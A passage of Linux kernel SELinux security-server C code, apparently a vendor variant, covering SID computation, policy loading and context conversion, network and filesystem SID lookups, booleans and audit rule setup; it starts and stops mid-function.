ft.tclass = tclass; ft.name = objname; otype = hashtab_search(p->filename_trans, &ft); if (otype) newcontext->type = otype->otype; } static int security_compute_sid(u32 ssid, u32 tsid, u16 orig_tclass, u32 specified, const char *objname, u32 *out_sid, bool kern) { struct class_datum *cladatum = NULL; struct context *scontext = NULL, *tcontext = NULL, newcontext; struct role_trans *roletr = NULL; struct avtab_key avkey; struct avtab_datum *avdatum; struct avtab_node *node; u16 tclass; int rc = 0; bool sock; if (!ss_initialized) { switch (orig_tclass) { case SECCLASS_PROCESS: /* kernel value */ *out_sid = ssid; break; default: *out_sid = tsid; break; } goto out; } context_init(&newcontext); read_lock(&policy_rwlock); if (kern) { tclass = unmap_class(orig_tclass); sock = security_is_socket_class(orig_tclass); } else { tclass = orig_tclass; sock = security_is_socket_class(map_class(tclass)); } scontext = sidtab_search(&sidtab, ssid); if (!scontext) { printk(KERN_ERR "SELinux: %s: unrecognized SID %d\n", __func__, ssid); rc = -EINVAL; goto out_unlock; } tcontext = sidtab_search(&sidtab, tsid); if (!tcontext) { printk(KERN_ERR "SELinux: %s: unrecognized SID %d\n", __func__, tsid); rc = -EINVAL; goto out_unlock; } if (tclass && tclass <= policydb.p_classes.nprim) cladatum = policydb.class_val_to_struct[tclass - 1]; /* Set the user identity. */ switch (specified) { case AVTAB_TRANSITION: case AVTAB_CHANGE: if (cladatum && cladatum->default_user == DEFAULT_TARGET) { newcontext.user = tcontext->user; } else { /* notice this gets both DEFAULT_SOURCE and unset */ /* Use the process user identity. */ newcontext.user = scontext->user; } break; case AVTAB_MEMBER: /* Use the related object owner. */ newcontext.user = tcontext->user; break; } /* Set the role to default values. */ if (cladatum && cladatum->default_role == DEFAULT_SOURCE) { newcontext.role = scontext->role; } else if (cladatum && cladatum->default_role == DEFAULT_TARGET) { newcontext.role = tcontext->role; } else { if ((tclass == policydb.process_class) || (sock == true)) newcontext.role = scontext->role; else newcontext.role = OBJECT_R_VAL; } /* Set the type to default values. */ if (cladatum && cladatum->default_type == DEFAULT_SOURCE) { newcontext.type = scontext->type; } else if (cladatum && cladatum->default_type == DEFAULT_TARGET) { newcontext.type = tcontext->type; } else { if ((tclass == policydb.process_class) || (sock == true)) { /* Use the type of process. */ newcontext.type = scontext->type; } else { /* Use the type of the related object. */ newcontext.type = tcontext->type; } } /* Look for a type transition/member/change rule. */ avkey.source_type = scontext->type; avkey.target_type = tcontext->type; avkey.target_class = tclass; avkey.specified = specified; avdatum = avtab_search(&policydb.te_avtab, &avkey); /* If no permanent rule, also check for enabled conditional rules */ if (!avdatum) { node = avtab_search_node(&policydb.te_cond_avtab, &avkey); for (; node; node = avtab_search_node_next(node, specified)) { if (node->key.specified & AVTAB_ENABLED) { avdatum = &node->datum; break; } } } if (avdatum) { /* Use the type from the type transition/member/change rule. */ newcontext.type = avdatum->data; } /* if we have a objname this is a file trans check so check those rules */ if (objname) filename_compute_type(&policydb, &newcontext, scontext->type, tcontext->type, tclass, objname); /* Check for class-specific changes. */ if (specified & AVTAB_TRANSITION) { /* Look for a role transition rule. */ for (roletr = policydb.role_tr; roletr; roletr = roletr->next) { if ((roletr->role == scontext->role) && (roletr->type == tcontext->type) && (roletr->tclass == tclass)) { /* Use the role transition rule. */ newcontext.role = roletr->new_role; break; } } } /* Set the MLS attributes. This is done last because it may allocate memory. */ rc = mls_compute_sid(scontext, tcontext, tclass, specified, &newcontext, sock); if (rc) goto out_unlock; /* Check the validity of the context. */ if (!policydb_context_isvalid(&policydb, &newcontext)) { rc = compute_sid_handle_invalid_context(scontext, tcontext, tclass, &newcontext); if (rc) goto out_unlock; } /* Obtain the sid for the context. */ rc = sidtab_context_to_sid(&sidtab, &newcontext, out_sid); out_unlock: read_unlock(&policy_rwlock); context_destroy(&newcontext); out: return rc; } /** * security_transition_sid - Compute the SID for a new subject/object. * @ssid: source security identifier * @tsid: target security identifier * @tclass: target security class * @out_sid: security identifier for new subject/object * * Compute a SID to use for labeling a new subject or object in the * class @tclass based on a SID pair (@ssid, @tsid). * Return -%EINVAL if any of the parameters are invalid, -%ENOMEM * if insufficient memory is available, or %0 if the new SID was * computed successfully. */ int security_transition_sid(u32 ssid, u32 tsid, u16 tclass, const struct qstr *qstr, u32 *out_sid) { return security_compute_sid(ssid, tsid, tclass, AVTAB_TRANSITION, qstr ? qstr->name : NULL, out_sid, true); } int security_transition_sid_user(u32 ssid, u32 tsid, u16 tclass, const char *objname, u32 *out_sid) { return security_compute_sid(ssid, tsid, tclass, AVTAB_TRANSITION, objname, out_sid, false); } /** * security_member_sid - Compute the SID for member selection. * @ssid: source security identifier * @tsid: target security identifier * @tclass: target security class * @out_sid: security identifier for selected member * * Compute a SID to use when selecting a member of a polyinstantiated * object of class @tclass based on a SID pair (@ssid, @tsid). * Return -%EINVAL if any of the parameters are invalid, -%ENOMEM * if insufficient memory is available, or %0 if the SID was * computed successfully. */ int security_member_sid(u32 ssid, u32 tsid, u16 tclass, u32 *out_sid) { return security_compute_sid(ssid, tsid, tclass, AVTAB_MEMBER, NULL, out_sid, false); } /** * security_change_sid - Compute the SID for object relabeling. * @ssid: source security identifier * @tsid: target security identifier * @tclass: target security class * @out_sid: security identifier for selected member * * Compute a SID to use for relabeling an object of class @tclass * based on a SID pair (@ssid, @tsid). * Return -%EINVAL if any of the parameters are invalid, -%ENOMEM * if insufficient memory is available, or %0 if the SID was * computed successfully. */ int security_change_sid(u32 ssid, u32 tsid, u16 tclass, u32 *out_sid) { return security_compute_sid(ssid, tsid, tclass, AVTAB_CHANGE, NULL, out_sid, false); } /* Clone the SID into the new SID table. */ static int clone_sid(u32 sid, struct context *context, void *arg) { struct sidtab *s = arg; if (sid > SECINITSID_NUM) return sidtab_insert(s, sid, context); else return 0; } static inline int convert_context_handle_invalid_context(struct context *context) { char *s; u32 len; #ifdef CONFIG_ALWAYS_ENFORCE selinux_enforcing = 1; #endif if (selinux_enforcing) return -EINVAL; if (!context_struct_to_string(context, &s, &len)) { printk(KERN_WARNING "SELinux: Context %s would be invalid if enforcing\n", s); kfree(s); } return 0; } struct convert_context_args { struct policydb *oldp; struct policydb *newp; }; /* * Convert the values in the security context * structure `c' from the values specified * in the policy `p->oldp' to the values specified * in the policy `p->newp'. Verify that the * context is valid under the new policy. */ static int convert_context(u32 key, struct context *c, void *p) { struct convert_context_args *args; struct context oldc; struct ocontext *oc; struct mls_range *range; struct role_datum *role; struct type_datum *typdatum; struct user_datum *usrdatum; char *s; u32 len; int rc = 0; if (key <= SECINITSID_NUM) goto out; args = p; if (c->str) { struct context ctx; rc = -ENOMEM; s = kstrdup(c->str, GFP_KERNEL); if (!s) goto out; rc = string_to_context_struct(args->newp, NULL, s, c->len, &ctx, SECSID_NULL); kfree(s); if (!rc) { printk(KERN_INFO "SELinux: Context %s became valid (mapped).\n", c->str); /* Replace string with mapped representation. */ kfree(c->str); memcpy(c, &ctx, sizeof(*c)); goto out; } else if (rc == -EINVAL) { /* Retain string representation for later mapping. */ rc = 0; goto out; } else { /* Other error condition, e.g. ENOMEM. */ printk(KERN_ERR "SELinux: Unable to map context %s, rc = %d.\n", c->str, -rc); goto out; } } rc = context_cpy(&oldc, c); if (rc) goto out; /* Convert the user. */ rc = -EINVAL; usrdatum = hashtab_search(args->newp->p_users.table, sym_name(args->oldp, SYM_USERS, c->user - 1)); if (!usrdatum) goto bad; c->user = usrdatum->value; /* Convert the role. */ rc = -EINVAL; role = hashtab_search(args->newp->p_roles.table, sym_name(args->oldp, SYM_ROLES, c->role - 1)); if (!role) goto bad; c->role = role->value; /* Convert the type. */ rc = -EINVAL; typdatum = hashtab_search(args->newp->p_types.table, sym_name(args->oldp, SYM_TYPES, c->type - 1)); if (!typdatum) goto bad; c->type = typdatum->value; /* Convert the MLS fields if dealing with MLS policies */ if (args->oldp->mls_enabled && args->newp->mls_enabled) { rc = mls_convert_context(args->oldp, args->newp, c); if (rc) goto bad; } else if (args->oldp->mls_enabled && !args->newp->mls_enabled) { /* * Switching between MLS and non-MLS policy: * free any storage used by the MLS fields in the * context for all existing entries in the sidtab. */ mls_context_destroy(c); } else if (!args->oldp->mls_enabled && args->newp->mls_enabled) { /* * Switching between non-MLS and MLS policy: * ensure that the MLS fields of the context for all * existing entries in the sidtab are filled in with a * suitable default value, likely taken from one of the * initial SIDs. */ oc = args->newp->ocontexts[OCON_ISID]; while (oc && oc->sid[0] != SECINITSID_UNLABELED) oc = oc->next; rc = -EINVAL; if (!oc) { printk(KERN_ERR "SELinux: unable to look up" " the initial SIDs list\n"); goto bad; } range = &oc->context[0].range; rc = mls_range_set(c, range); if (rc) goto bad; } /* Check the validity of the new context. */ if (!policydb_context_isvalid(args->newp, c)) { rc = convert_context_handle_invalid_context(&oldc); if (rc) goto bad; } context_destroy(&oldc); rc = 0; out: return rc; bad: /* Map old representation to string and save it. */ rc = context_struct_to_string(&oldc, &s, &len); if (rc) return rc; context_destroy(&oldc); context_destroy(c); c->str = s; c->len = len; printk(KERN_INFO "SELinux: Context %s became invalid (unmapped).\n", c->str); rc = 0; goto out; } static void security_load_policycaps(void) { selinux_policycap_netpeer = ebitmap_get_bit(&policydb.policycaps, POLICYDB_CAPABILITY_NETPEER); selinux_policycap_openperm = ebitmap_get_bit(&policydb.policycaps, POLICYDB_CAPABILITY_OPENPERM); } static int security_preserve_bools(struct policydb *p); /** * security_load_policy - Load a security policy configuration. * @data: binary policy data * @len: length of data in bytes * * Load a new set of security policy configuration data, * validate it and convert the SID table as necessary. * This function will flush the access vector cache after * loading the new policy. */ int security_load_policy(void *data, size_t len) { struct policydb oldpolicydb, newpolicydb; struct sidtab oldsidtab, newsidtab; struct selinux_mapping *oldmap, *map = NULL; struct convert_context_args args; u32 seqno; u16 map_size; int rc = 0; struct policy_file file = { data, len }, *fp = &file; if (!ss_initialized) { avtab_cache_init(); rc = policydb_read(&policydb, fp); if (rc) { avtab_cache_destroy(); return rc; } policydb.len = len; rc = selinux_set_mapping(&policydb, secclass_map, &current_mapping, &current_mapping_size); if (rc) { policydb_destroy(&policydb); avtab_cache_destroy(); return rc; } rc = policydb_load_isids(&policydb, &sidtab); if (rc) { policydb_destroy(&policydb); avtab_cache_destroy(); return rc; } security_load_policycaps(); ss_initialized = 1; seqno = ++latest_granting; selinux_complete_init(); avc_ss_reset(seqno); selnl_notify_policyload(seqno); selinux_status_update_policyload(seqno); selinux_netlbl_cache_invalidate(); selinux_xfrm_notify_policyload(); return 0; } #if 0 sidtab_hash_eval(&sidtab, "sids"); #endif rc = policydb_read(&newpolicydb, fp); if (rc) return rc; newpolicydb.len = len; /* If switching between different policy types, log MLS status */ if (policydb.mls_enabled && !newpolicydb.mls_enabled) printk(KERN_INFO "SELinux: Disabling MLS support...\n"); else if (!policydb.mls_enabled && newpolicydb.mls_enabled) printk(KERN_INFO "SELinux: Enabling MLS support...\n"); rc = policydb_load_isids(&newpolicydb, &newsidtab); if (rc) { printk(KERN_ERR "SELinux: unable to load the initial SIDs\n"); policydb_destroy(&newpolicydb); return rc; } rc = selinux_set_mapping(&newpolicydb, secclass_map, &map, &map_size); if (rc) goto err; rc = security_preserve_bools(&newpolicydb); if (rc) { printk(KERN_ERR "SELinux: unable to preserve booleans\n"); goto err; } /* Clone the SID table. */ sidtab_shutdown(&sidtab); rc = sidtab_map(&sidtab, clone_sid, &newsidtab); if (rc) goto err; /* * Convert the internal representations of contexts * in the new SID table. */ args.oldp = &policydb; args.newp = &newpolicydb; rc = sidtab_map(&newsidtab, convert_context, &args); if (rc) { printk(KERN_ERR "SELinux: unable to convert the internal" " representation of contexts in the new SID" " table\n"); goto err; } /* Save the old policydb and SID table to free later. */ memcpy(&oldpolicydb, &policydb, sizeof policydb); sidtab_set(&oldsidtab, &sidtab); /* Install the new policydb and SID table. */ write_lock_irq(&policy_rwlock); memcpy(&policydb, &newpolicydb, sizeof policydb); sidtab_set(&sidtab, &newsidtab); security_load_policycaps(); oldmap = current_mapping; current_mapping = map; current_mapping_size = map_size; seqno = ++latest_granting; write_unlock_irq(&policy_rwlock); /* Free the old policydb and SID table. */ policydb_destroy(&oldpolicydb); sidtab_destroy(&oldsidtab); kfree(oldmap); avc_ss_reset(seqno); selnl_notify_policyload(seqno); selinux_status_update_policyload(seqno); selinux_netlbl_cache_invalidate(); selinux_xfrm_notify_policyload(); return 0; err: kfree(map); sidtab_destroy(&newsidtab); policydb_destroy(&newpolicydb); return rc; } size_t security_policydb_len(void) { size_t len; read_lock(&policy_rwlock); len = policydb.len; read_unlock(&policy_rwlock); return len; } /** * security_port_sid - Obtain the SID for a port. * @protocol: protocol number * @port: port number * @out_sid: security identifier */ int security_port_sid(u8 protocol, u16 port, u32 *out_sid) { struct ocontext *c; int rc = 0; read_lock(&policy_rwlock); c = policydb.ocontexts[OCON_PORT]; while (c) { if (c->u.port.protocol == protocol && c->u.port.low_port <= port && c->u.port.high_port >= port) break; c = c->next; } if (c) { if (!c->sid[0]) { rc = sidtab_context_to_sid(&sidtab, &c->context[0], &c->sid[0]); if (rc) goto out; } *out_sid = c->sid[0]; } else { *out_sid = SECINITSID_PORT; } out: read_unlock(&policy_rwlock); return rc; } /** * security_netif_sid - Obtain the SID for a network interface. * @name: interface name * @if_sid: interface SID */ int security_netif_sid(char *name, u32 *if_sid) { int rc = 0; struct ocontext *c; read_lock(&policy_rwlock); c = policydb.ocontexts[OCON_NETIF]; while (c) { if (strcmp(name, c->u.name) == 0) break; c = c->next; } if (c) { if (!c->sid[0] || !c->sid[1]) { rc = sidtab_context_to_sid(&sidtab, &c->context[0], &c->sid[0]); if (rc) goto out; rc = sidtab_context_to_sid(&sidtab, &c->context[1], &c->sid[1]); if (rc) goto out; } *if_sid = c->sid[0]; } else *if_sid = SECINITSID_NETIF; out: read_unlock(&policy_rwlock); return rc; } static int match_ipv6_addrmask(u32 *input, u32 *addr, u32 *mask) { int i, fail = 0; for (i = 0; i < 4; i++) if (addr[i] != (input[i] & mask[i])) { fail = 1; break; } return !fail; } /** * security_node_sid - Obtain the SID for a node (host). * @domain: communication domain aka address family * @addrp: address * @addrlen: address length in bytes * @out_sid: security identifier */ int security_node_sid(u16 domain, void *addrp, u32 addrlen, u32 *out_sid) { int rc; struct ocontext *c; read_lock(&policy_rwlock); switch (domain) { case AF_INET: { u32 addr; rc = -EINVAL; if (addrlen != sizeof(u32)) goto out; addr = *((u32 *)addrp); c = policydb.ocontexts[OCON_NODE]; while (c) { if (c->u.node.addr == (addr & c->u.node.mask)) break; c = c->next; } break; } case AF_INET6: rc = -EINVAL; if (addrlen != sizeof(u64) * 2) goto out; c = policydb.ocontexts[OCON_NODE6]; while (c) { if (match_ipv6_addrmask(addrp, c->u.node6.addr, c->u.node6.mask)) break; c = c->next; } break; default: rc = 0; *out_sid = SECINITSID_NODE; goto out; } if (c) { if (!c->sid[0]) { rc = sidtab_context_to_sid(&sidtab, &c->context[0], &c->sid[0]); if (rc) goto out; } *out_sid = c->sid[0]; } else { *out_sid = SECINITSID_NODE; } rc = 0; out: read_unlock(&policy_rwlock); return rc; } #define SIDS_NEL 25 /** * security_get_user_sids - Obtain reachable SIDs for a user. * @fromsid: starting SID * @username: username * @sids: array of reachable SIDs for user * @nel: number of elements in @sids * * Generate the set of SIDs for legal security contexts * for a given user that can be reached by @fromsid. * Set *@sids to point to a dynamically allocated * array containing the set of SIDs. Set *@nel to the * number of elements in the array. */ int security_get_user_sids(u32 fromsid, char *username, u32 **sids, u32 *nel) { struct context *fromcon, usercon; u32 *mysids = NULL, *mysids2, sid; u32 mynel = 0, maxnel = SIDS_NEL; struct user_datum *user; struct role_datum *role; struct ebitmap_node *rnode, *tnode; int rc = 0, i, j; *sids = NULL; *nel = 0; if (!ss_initialized) goto out; read_lock(&policy_rwlock); context_init(&usercon); rc = -EINVAL; fromcon = sidtab_search(&sidtab, fromsid); if (!fromcon) goto out_unlock; rc = -EINVAL; user = hashtab_search(policydb.p_users.table, username); if (!user) goto out_unlock; usercon.user = user->value; rc = -ENOMEM; mysids = kcalloc(maxnel, sizeof(*mysids), GFP_ATOMIC); if (!mysids) goto out_unlock; ebitmap_for_each_positive_bit(&user->roles, rnode, i) { role = policydb.role_val_to_struct[i]; usercon.role = i + 1; ebitmap_for_each_positive_bit(&role->types, tnode, j) { usercon.type = j + 1; if (mls_setup_user_range(fromcon, user, &usercon)) continue; rc = sidtab_context_to_sid(&sidtab, &usercon, &sid); if (rc) goto out_unlock; if (mynel < maxnel) { mysids[mynel++] = sid; } else { rc = -ENOMEM; maxnel += SIDS_NEL; mysids2 = kcalloc(maxnel, sizeof(*mysids2), GFP_ATOMIC); if (!mysids2) goto out_unlock; memcpy(mysids2, mysids, mynel * sizeof(*mysids2)); kfree(mysids); mysids = mysids2; mysids[mynel++] = sid; } } } rc = 0; out_unlock: read_unlock(&policy_rwlock); if (rc || !mynel) { kfree(mysids); goto out; } rc = -ENOMEM; mysids2 = kcalloc(mynel, sizeof(*mysids2), GFP_KERNEL); if (!mysids2) { kfree(mysids); goto out; } for (i = 0, j = 0; i < mynel; i++) { struct av_decision dummy_avd; rc = avc_has_perm_noaudit(fromsid, mysids[i], SECCLASS_PROCESS, /* kernel value */ PROCESS__TRANSITION, AVC_STRICT, &dummy_avd); if (!rc) mysids2[j++] = mysids[i]; cond_resched(); } rc = 0; kfree(mysids); *sids = mysids2; *nel = j; out: return rc; } /** * security_genfs_sid - Obtain a SID for a file in a filesystem * @fstype: filesystem type * @path: path from root of mount * @sclass: file security class * @sid: SID for path * * Obtain a SID to use for a file in a filesystem that * cannot support xattr or use a fixed labeling behavior like * transition SIDs or task SIDs. */ int security_genfs_sid(const char *fstype, char *path, u16 orig_sclass, u32 *sid) { int len; u16 sclass; struct genfs *genfs; struct ocontext *c; int rc, cmp = 0; while (path[0] == '/' && path[1] == '/') path++; read_lock(&policy_rwlock); sclass = unmap_class(orig_sclass); *sid = SECINITSID_UNLABELED; for (genfs = policydb.genfs; genfs; genfs = genfs->next) { cmp = strcmp(fstype, genfs->fstype); if (cmp <= 0) break; } rc = -ENOENT; if (!genfs || cmp) goto out; for (c = genfs->head; c; c = c->next) { len = strlen(c->u.name); if ((!c->v.sclass || sclass == c->v.sclass) && (strncmp(c->u.name, path, len) == 0)) break; } rc = -ENOENT; if (!c) goto out; if (!c->sid[0]) { rc = sidtab_context_to_sid(&sidtab, &c->context[0], &c->sid[0]); if (rc) goto out; } *sid = c->sid[0]; rc = 0; out: read_unlock(&policy_rwlock); return rc; } /** * security_fs_use - Determine how to handle labeling for a filesystem. * @fstype: filesystem type * @behavior: labeling behavior * @sid: SID for filesystem (superblock) */ int security_fs_use( const char *fstype, unsigned int *behavior, u32 *sid) { int rc = 0; struct ocontext *c; read_lock(&policy_rwlock); c = policydb.ocontexts[OCON_FSUSE]; while (c) { if (strcmp(fstype, c->u.name) == 0) break; c = c->next; } if (c) { *behavior = c->v.behavior; if (!c->sid[0]) { rc = sidtab_context_to_sid(&sidtab, &c->context[0], &c->sid[0]); if (rc) goto out; } *sid = c->sid[0]; } else { rc = security_genfs_sid(fstype, "/", SECCLASS_DIR, sid); if (rc) { *behavior = SECURITY_FS_USE_NONE; rc = 0; } else { *behavior = SECURITY_FS_USE_GENFS; } } out: read_unlock(&policy_rwlock); return rc; } int security_get_bools(int *len, char ***names, int **values) { int i, rc; read_lock(&policy_rwlock); *names = NULL; *values = NULL; rc = 0; *len = policydb.p_bools.nprim; if (!*len) goto out; rc = -ENOMEM; *names = kcalloc(*len, sizeof(char *), GFP_ATOMIC); if (!*names) goto err; rc = -ENOMEM; *values = kcalloc(*len, sizeof(int), GFP_ATOMIC); if (!*values) goto err; for (i = 0; i < *len; i++) { size_t name_len; (*values)[i] = policydb.bool_val_to_struct[i]->state; name_len = strlen(sym_name(&policydb, SYM_BOOLS, i)) + 1; rc = -ENOMEM; (*names)[i] = kmalloc(sizeof(char) * name_len, GFP_ATOMIC); if (!(*names)[i]) goto err; strncpy((*names)[i], sym_name(&policydb, SYM_BOOLS, i), name_len); (*names)[i][name_len - 1] = 0; } rc = 0; out: read_unlock(&policy_rwlock); return rc; err: if (*names) { for (i = 0; i < *len; i++) kfree((*names)[i]); } kfree(*values); goto out; } int security_set_bools(int len, int *values) { int i, rc; int lenp, seqno = 0; struct cond_node *cur; write_lock_irq(&policy_rwlock); rc = -EFAULT; lenp = policydb.p_bools.nprim; if (len != lenp) goto out; for (i = 0; i < len; i++) { if (!!values[i] != policydb.bool_val_to_struct[i]->state) { audit_log(current->audit_context, GFP_ATOMIC, AUDIT_MAC_CONFIG_CHANGE, "bool=%s val=%d old_val=%d auid=%u ses=%u", sym_name(&policydb, SYM_BOOLS, i), !!values[i], policydb.bool_val_to_struct[i]->state, from_kuid(&init_user_ns, audit_get_loginuid(current)), audit_get_sessionid(current)); } if (values[i]) policydb.bool_val_to_struct[i]->state = 1; else policydb.bool_val_to_struct[i]->state = 0; } for (cur = policydb.cond_list; cur; cur = cur->next) { rc = evaluate_cond_node(&policydb, cur); if (rc) goto out; } seqno = ++latest_granting; rc = 0; out: write_unlock_irq(&policy_rwlock); if (!rc) { avc_ss_reset(seqno); selnl_notify_policyload(seqno); selinux_status_update_policyload(seqno); selinux_xfrm_notify_policyload(); } return rc; } int security_get_bool_value(int bool) { int rc; int len; read_lock(&policy_rwlock); rc = -EFAULT; len = policydb.p_bools.nprim; if (bool >= len) goto out; rc = policydb.bool_val_to_struct[bool]->state; out: read_unlock(&policy_rwlock); return rc; } static int security_preserve_bools(struct policydb *p) { int rc, nbools = 0, *bvalues = NULL, i; char **bnames = NULL; struct cond_bool_datum *booldatum; struct cond_node *cur; rc = security_get_bools(&nbools, &bnames, &bvalues); if (rc) goto out; for (i = 0; i < nbools; i++) { booldatum = hashtab_search(p->p_bools.table, bnames[i]); if (booldatum) booldatum->state = bvalues[i]; } for (cur = p->cond_list; cur; cur = cur->next) { rc = evaluate_cond_node(p, cur); if (rc) goto out; } out: if (bnames) { for (i = 0; i < nbools; i++) kfree(bnames[i]); } kfree(bnames); kfree(bvalues); return rc; } /* * security_sid_mls_copy() - computes a new sid based on the given * sid and the mls portion of mls_sid. */ int security_sid_mls_copy(u32 sid, u32 mls_sid, u32 *new_sid) { struct context *context1; struct context *context2; struct context newcon; char *s; u32 len; int rc; rc = 0; if (!ss_initialized || !policydb.mls_enabled) { *new_sid = sid; goto out; } context_init(&newcon); read_lock(&policy_rwlock); rc = -EINVAL; context1 = sidtab_search(&sidtab, sid); if (!context1) { printk(KERN_ERR "SELinux: %s: unrecognized SID %d\n", __func__, sid); goto out_unlock; } rc = -EINVAL; context2 = sidtab_search(&sidtab, mls_sid); if (!context2) { printk(KERN_ERR "SELinux: %s: unrecognized SID %d\n", __func__, mls_sid); goto out_unlock; } newcon.user = context1->user; newcon.role = context1->role; newcon.type = context1->type; rc = mls_context_cpy(&newcon, context2); if (rc) goto out_unlock; /* Check the validity of the new context. */ if (!policydb_context_isvalid(&policydb, &newcon)) { rc = convert_context_handle_invalid_context(&newcon); if (rc) { if (!context_struct_to_string(&newcon, &s, &len)) { audit_log(current->audit_context, GFP_ATOMIC, AUDIT_SELINUX_ERR, "security_sid_mls_copy: invalid context %s", s); kfree(s); } goto out_unlock; } } rc = sidtab_context_to_sid(&sidtab, &newcon, new_sid); out_unlock: read_unlock(&policy_rwlock); context_destroy(&newcon); out: return rc; } /** * security_net_peersid_resolve - Compare and resolve two network peer SIDs * @nlbl_sid: NetLabel SID * @nlbl_type: NetLabel labeling protocol type * @xfrm_sid: XFRM SID * * Description: * Compare the @nlbl_sid and @xfrm_sid values and if the two SIDs can be * resolved into a single SID it is returned via @peer_sid and the function * returns zero. Otherwise @peer_sid is set to SECSID_NULL and the function * returns a negative value. A table summarizing the behavior is below: * * | function return | @sid * ------------------------------+-----------------+----------------- * no peer labels | 0 | SECSID_NULL * single peer label | 0 | <peer_label> * multiple, consistent labels | 0 | <peer_label> * multiple, inconsistent labels | -<errno> | SECSID_NULL * */ int security_net_peersid_resolve(u32 nlbl_sid, u32 nlbl_type, u32 xfrm_sid, u32 *peer_sid) { int rc; struct context *nlbl_ctx; struct context *xfrm_ctx; *peer_sid = SECSID_NULL; /* handle the common (which also happens to be the set of easy) cases * right away, these two if statements catch everything involving a * single or absent peer SID/label */ if (xfrm_sid == SECSID_NULL) { *peer_sid = nlbl_sid; return 0; } /* NOTE: an nlbl_type == NETLBL_NLTYPE_UNLABELED is a "fallback" label * and is treated as if nlbl_sid == SECSID_NULL when a XFRM SID/label * is present */ if (nlbl_sid == SECSID_NULL || nlbl_type == NETLBL_NLTYPE_UNLABELED) { *peer_sid = xfrm_sid; return 0; } /* we don't need to check ss_initialized here since the only way both * nlbl_sid and xfrm_sid are not equal to SECSID_NULL would be if the * security server was initialized and ss_initialized was true */ if (!policydb.mls_enabled) return 0; read_lock(&policy_rwlock); rc = -EINVAL; nlbl_ctx = sidtab_search(&sidtab, nlbl_sid); if (!nlbl_ctx) { printk(KERN_ERR "SELinux: %s: unrecognized SID %d\n", __func__, nlbl_sid); goto out; } rc = -EINVAL; xfrm_ctx = sidtab_search(&sidtab, xfrm_sid); if (!xfrm_ctx) { printk(KERN_ERR "SELinux: %s: unrecognized SID %d\n", __func__, xfrm_sid); goto out; } rc = (mls_context_cmp(nlbl_ctx, xfrm_ctx) ? 0 : -EACCES); if (rc) goto out; /* at present NetLabel SIDs/labels really only carry MLS * information so if the MLS portion of the NetLabel SID * matches the MLS portion of the labeled XFRM SID/label * then pass along the XFRM SID as it is the most * expressive */ *peer_sid = xfrm_sid; out: read_unlock(&policy_rwlock); return rc; } static int get_classes_callback(void *k, void *d, void *args) { struct class_datum *datum = d; char *name = k, **classes = args; int value = datum->value - 1; classes[value] = kstrdup(name, GFP_ATOMIC); if (!classes[value]) return -ENOMEM; return 0; } int security_get_classes(char ***classes, int *nclasses) { int rc; read_lock(&policy_rwlock); rc = -ENOMEM; *nclasses = policydb.p_classes.nprim; *classes = kcalloc(*nclasses, sizeof(**classes), GFP_ATOMIC); if (!*classes) goto out; rc = hashtab_map(policydb.p_classes.table, get_classes_callback, *classes); if (rc) { int i; for (i = 0; i < *nclasses; i++) kfree((*classes)[i]); kfree(*classes); } out: read_unlock(&policy_rwlock); return rc; } static int get_permissions_callback(void *k, void *d, void *args) { struct perm_datum *datum = d; char *name = k, **perms = args; int value = datum->value - 1; perms[value] = kstrdup(name, GFP_ATOMIC); if (!perms[value]) return -ENOMEM; return 0; } int security_get_permissions(char *class, char ***perms, int *nperms) { int rc, i; struct class_datum *match; read_lock(&policy_rwlock); rc = -EINVAL; match = hashtab_search(policydb.p_classes.table, class); if (!match) { printk(KERN_ERR "SELinux: %s: unrecognized class %s\n", __func__, class); goto out; } rc = -ENOMEM; *nperms = match->permissions.nprim; *perms = kcalloc(*nperms, sizeof(**perms), GFP_ATOMIC); if (!*perms) goto out; if (match->comdatum) { rc = hashtab_map(match->comdatum->permissions.table, get_permissions_callback, *perms); if (rc) goto err; } rc = hashtab_map(match->permissions.table, get_permissions_callback, *perms); if (rc) goto err; out: read_unlock(&policy_rwlock); return rc; err: read_unlock(&policy_rwlock); for (i = 0; i < *nperms; i++) kfree((*perms)[i]); kfree(*perms); return rc; } int security_get_reject_unknown(void) { return policydb.reject_unknown; } int security_get_allow_unknown(void) { return policydb.allow_unknown; } /** * security_policycap_supported - Check for a specific policy capability * @req_cap: capability * * Description: * This function queries the currently loaded policy to see if it supports the * capability specified by @req_cap. Returns true (1) if the capability is * supported, false (0) if it isn't supported. * */ int security_policycap_supported(unsigned int req_cap) { int rc; read_lock(&policy_rwlock); rc = ebitmap_get_bit(&policydb.policycaps, req_cap); read_unlock(&policy_rwlock); return rc; } struct selinux_audit_rule { u32 au_seqno; struct context au_ctxt; }; void selinux_audit_rule_free(void *vrule) { struct selinux_audit_rule *rule = vrule; if (rule) { context_destroy(&rule->au_ctxt); kfree(rule); } } int selinux_audit_rule_init(u32 field, u32 op, char *rulestr, void **vrule) { struct selinux_audit_rule *tmprule; struct role_datum *roledatum; struct type_datum *typedatum; struct user_datum *userdatum; struct selinux_audit_rule **rule = (struct selinux_audit_rule **)vrule; int rc = 0; #ifdef CONFIG_TIMA_RKP_RO_CRED if ((rc = security_integrity_current())) return rc; #endif *rule = NULL; if (!ss_initialized) return -EOPNOTSUPP; switch (field) { case AUDIT_SUBJ_USER: case AUDIT_SUBJ_ROLE: case AUDIT_SUBJ_TYPE: case AUDIT_OBJ_USER: case AUDIT_OBJ_ROLE: case AUDIT_OBJ_TYPE: /* only 'equals' and 'not equals' fit user, role, and type */ if (op != Audit_equal && op != Audit_not_equal) return -EINVAL; break; case AUDIT_SUBJ_SEN: case AUDIT_SUBJ_CLR: case AUDIT_OBJ_LEV_LOW: case AUDIT_OBJ_LEV_HIGH: /* we do not allow a range, indicated by the presence of '-' */ if (strchr(rulestr, '-')) return -EINVAL; break; default: /* only the above fields are valid */ return -EINVAL; } tmprule = kzalloc(sizeof(struct selinux_audit_rule), GFP_KERNEL); if (!tmprule) return -ENOMEM; context_init(&tmprule->au_ctxt); read_lock(&policy_rwlock); tmprule->au_seqno = latest_granting; switch (field) { case AUDIT_SUBJ_USER: case AUDIT_OBJ_USER: rc = -EINVAL; userdatum = hashtab_search(policydb.p_users.table, rulestr); if (!userdatum) goto out; tmprule->au_ctxt.user = userdatum->value; break; case AUDIT_SUBJ_ROLE: case AUDIT_OBJ_ROLE: rc = -EINVAL; roledatum = hashtab_search(policydb.p_roles.table, rulestr); if (!roledatum) goto out; tmprule->au_ctxt.role = roledatum->value; break; case AUDIT_SUBJ_TYPE: case AUDIT_OBJ_TYPE: rc = -EINVAL; typedatum = hashtab_search(policydb.p_types.table, rulestr); if (!typedatum) goto out; 